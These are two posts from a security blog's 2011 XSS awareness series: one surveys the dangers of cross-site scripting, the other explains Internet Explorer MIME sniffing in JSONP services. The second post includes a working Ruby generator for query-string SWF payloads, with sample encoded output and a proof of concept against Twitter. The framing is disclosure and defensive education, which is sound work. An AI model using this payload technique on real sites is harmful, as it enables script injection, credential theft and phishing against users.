Monday, March 14, 2011

XSS Awareness #4: The actual dangers of cross-site scripting vulnerabilities

If you missed either of the other articles in this series, they can be found here:

"What's so bad about XSS vulnerabilities anyway?"


... is a question that's repeated wherever and whenever web application security is being discussed.

The potential damage caused by such vulnerabilities largely depend on which specific kind of vulnerability we're dealing with (persistent vs. non-persistent), and also which services are available to the attacker to use without two-factor confirmation, captchas, etc. Generally speaking, however, there's little an attacker cannot do, when given a vulnerability to exploit.

I like to think of cross-site scripting as handing the control of your browser over to a random stranger, telling him or her to do whatever, so long as it happens within the one website you're logged onto. If that one website happens to be your internet banking website, would you not be worried?

Non-persistent XSS vulnerabilities


Non-persistent implies that the XSS would either have to be delivered in shape of a link the user clicks on, through a hidden frame on a site the user visits, or similar. These vulnerabilities most commonly lead to information disclosure.

If you've logged into your account on your bank's site, then move to an evil site, the evil site can potentially copy your data (social security number, transaction statements, etc.), as well as perform operations in your stead (posts to transaction mechanisms, account deletion, etc). This, however, relies either on persistent sessions or visits to the evil site in one window, while you're still logged on in another window.

Persistent XSS vulnerabilities


Persistent implies that the attacker is able to post something to a page oft visited, and have his script executed whenever someone opens the page. This kind of XSS vulnerability can lead to more serious information disclosure:
  • Legitimate looking password popups, which actually pass the username and password to some evil page
  • MITM-style manipulation of user posted data (e.g. banking transactions), which often require two-factor authentication or similar confirmation codes
  • Intercepting credit card information
Worms also most commonly operate within the "persistent" domain. A worm which ravaged Twitter not so long ago relied on users to hover a link; an action which would cause the target to retweet a piece of malicious code, repeating the process.

Phishing attacks combined with XSS vulnerabilities


Phishing attacks also move to a completely different level when mixed with XSS vulnerabilities. The attacker could use the XSS to inject his own evil scripts into the page, and intercept data, passwords, credit cards etc., using the site's own layout and URL.

Combined with the HTML5 ability to rewrite the URL shown in the browser, the conspicuous looking URL which carries the XSS payload would merely flash for a moment. This technique makes it very difficult for the user to see that there's anything nasty going on, and it will be similarly hard to spot for phishing prevention plugins / applications, since the legitimate site is actually being used (rather than faceebook.com trying to hijack facebook.com).

Not just in the browser


The examples above describe that data can be stolen, and in some cases written, on the web. The internet is however overflowing with write-ups on how XSS vulnerabilities have lead to server-side code execution and even client-side native code execution.

How common are these vulnerabilities?


During February 2011 I notified two large banks in Norway (regarding multiple vulnerabilities which made it trivial to extract account information), Opera (regarding a vulnerability in their new mobile appstore), Github, Twitter, Reddit, Digg, Yfrog, TwitPic, Microsoft and quite a few others.

The majority of these vulnerabilities were trivial to find: In fact, many required no effort at all, as they were spotted by the injection-based xss vulnerability scanner I released to Github a few days ago. Other vulnerabilities were research-oriented, and did require some effort. But if I could find them, people who dedicate their lives to exploiting these things most certainly would.

So where does that leave us?


While it's the dead-serious responsibility of web developers to ensure that their webapps are secure, it's also the responsibility of end users to understand how to stay as protected as possible. I've mentioned NotScripts and FlashBlock before -- both good alternatives for Chrome users. Many other alternatives exist for other browsers.

The very best (although arguably more tedious) advice, however:
Never stay logged in.

Saturday, February 19, 2011

XSS Awareness #3: Injecting malicious SWFs through the Query String

If you missed either of the other articles in this series, they can be found here:

Internet Explorer and MIME types


Internet Explorer is notorious when it comes to disregarding the Content-Type HTTP header; that really cannot be said often enough. If you're a web developer, and especially if you're writing web services, it's extremely important to be aware of this.

Short recap, for the oblivious: MIME type is whatever type the browser believes a resource to be. Most browsers rely on the Content-Type HTTP header first, then hints passed by the markup which refers to the resource, and finally file extension in the URI. Internet Explorer, on the other hand, will first of all attempt to guess, or sniff, the MIME type based on the extension.

The importance of MIME type in JSONP services


JSONP (JSON with a user-supplied callback) services, or rather: web services where one of the query parameters will be written to the very beginning of the output, are especially prone to MIME type issues.

As demonstrated in the second article in this series (linked above), many web services skip cleaning callback like query parameters for such services. Most of the time they are alright to do so. As long as the service returns "Content-Type: application/json", "Content-Type: application/javascript" or similar, most browsers won't attempt to load the data as HTML or anything else.

But this is where Internet Explorer will get into deep water. Again.

Given that:
  1. The service returns data that begins with a string passed in a query parameter.
  2. The service somehow accepts custom extensions, such as a REST'ish syntax where the last part before the query string is a search string: "http://somedomain.com/services/search/foobar.baz?callback=something".
  3. The callback query parameter isn't altered (too much) by the server.
  4. The server doesn't return the "X-Content-Type-Options: nosniff" HTTP header.
.. then it's very likely that Internet Explorer can be tricked into loading scripts or other executable content. Because of point #2, a request to the server could e.g. pass ".swf" as an extension to the web service; which will cause Internet Explorer to interpret the returned data as something the Flash plugin would want to run.

Injecting malicious SWFs through the Query String


While services, or even web pages, which fulfill the three requirements above could be passed a script, such as
<script>alert(1);</script>
.. Internet Explorer's XSS filter would block this. SWFs and similar executable content, which may come with javascript, however won't be blocked.

How easy it is for an attacker to inject an SWF depends largely on which characters the server's encoding allows for. Most services these days send data as UTF-8, which means that bytes at or above 0x80 can be tricky to express. Some require UTF-8 start bytes as prefixes (which can require more than one byte to follow), some are themselves start bytes, and require a set of continuation bytes. Nevertheless, it is possible to express the necessary skeleton SWF to hold and execute JavaScript.

I won't be going in-depth on the ActionScript Virtual Machine (or AVM); a few quick searches will yield lots of information on that. The important bits of the approach, however, are as follows:

ActionScript actions are single bytes. Some actions take attributes. GetURL is one such action, and it takes two attributes: url and target. The thing about these actions, however: all those that take attributes have bytecodes at or above 0x80, and are therefore not valid UTF-8 sequences on their own.

There is one specific thing about the AVM that provides an easy workaround: Unknown action bytecodes are silently ignored by the player.

Actions which take attributes have the following layout:
[action bytecode, 1 byte][attribute section length, 2 bytes][attribute section, n bytes]
Consequently it is possible to specify the unknown 0xC2 (UTF-8 start byte) action, followed by 0x80 (a valid UTF-8 single continuation byte) and 0x00. Following that three byte construct, the Flash player will expect (and ignore) 128 attribute bytes. Outputting 127 times 0x44 (or any other byte lower than 0x80), then another 0xC2, will allow us to specify 0x83 (GetURL) as the next ActionScript action.

Following is a (somewhat) naïve Ruby script I wrote, which generates an SWF wrapper around a JavaScript, such as described above. I'm hoping that is enough for web devs to understand that it's by no means difficult to deliver SWFs when restricted to UTF-8.
(Or even 7-bit ASCII, if you're Erling Ellingsen.)
class Fixnum
def to_little_endian_bytes l
[self].pack(l==4?'V':'v').unpack('C*')
end
def has_byte_above max
[self].pack('v').unpack('C*').any? { |n| n > max }
end
end

def utf8_prefix
[0xC2, 0x80, 0x00] + (1...0x80).inject([]) { |m, n| m << 0x2d } + [0xC2]
end

def action bytecode, *args
argbytes = args.inject([]) { |m, arg| m += arg.unpack('C*') << 0 }
while argbytes.length.has_byte_above(0x7F)
argbytes << 0
end
header = (bytecode >= 0x80 ? utf8_prefix : []) << bytecode
header + argbytes.length.to_little_endian_bytes(2) + argbytes
end

def make_script_swf javascript
while true
header = [0x46, 0x57, 0x53, 0x08]
setup = [0x20, 0x18, 0x18, 0x00, 0x01, 0x01, 0x00]
tag = [0x3f, 0x03]
tagcode = action(0x83, "javascript:#{javascript}", "_top") << 0
tagsize = tagcode.length.to_little_endian_bytes(4)
size = (header.length + setup.length +
tag.length + tagsize.length +
tagcode.length + 6).to_little_endian_bytes(4)
bytes = header + size + setup + tag + tagsize + tagcode << 0 << 0
break if bytes.length.has_byte_above(0x7F) == false and
tagcode.length.has_byte_above(0x7F) == false
javascript += " "
end
bytes
end

Running this, and dumping percent encoded output, such as:
bytes = make_script_swf('alert(1);')
puts bytes.map { |c| "%%%02x" % c }.join('')
Would yield a query string passable SWF similar to:
%46%57%53%08%1a%01%01%01%43%02%3f%03%01%c2%80%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%c2%83%79%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5f%74%6f%70

Proof of concept XSS against Twitter


As far as proof of concepts go, I did generate an SWF like this, which I passed to the previously mentioned Twitter promotion service. Following is a screencast of how that played out. Watch it in fullscreen to see the HTTP headers and such.


Hopefully that caught your attention, and you're now keen to protect your own web services.

Prevention


If you're a web developer writing web services, or any kind of web page, you really need to pay attention to injected content, no matter the MIME type. Of course, you should always make sure to send the correct Content-Type HTTP header, but that only gets you so far. Also make sure to pass the "X-Content-Type-Options: nosniff" header if you specify a restrictive Content-Type, otherwise IE will take a path of its own. Again, though, there are always scenarios where the browser will disregard the server-supplied Content-Type, so it really comes down to washing input properly.

Finally, and this is the really important bit: Don't underestimate possible attack vectors. Slightly difficult isn't impossible. Usually, 'impossible' isn't even impossible; just cumbersome. If you write any kind of software, it really is your duty to be prepared for the fact that someone brighter, or more evil, than you may come along down the road.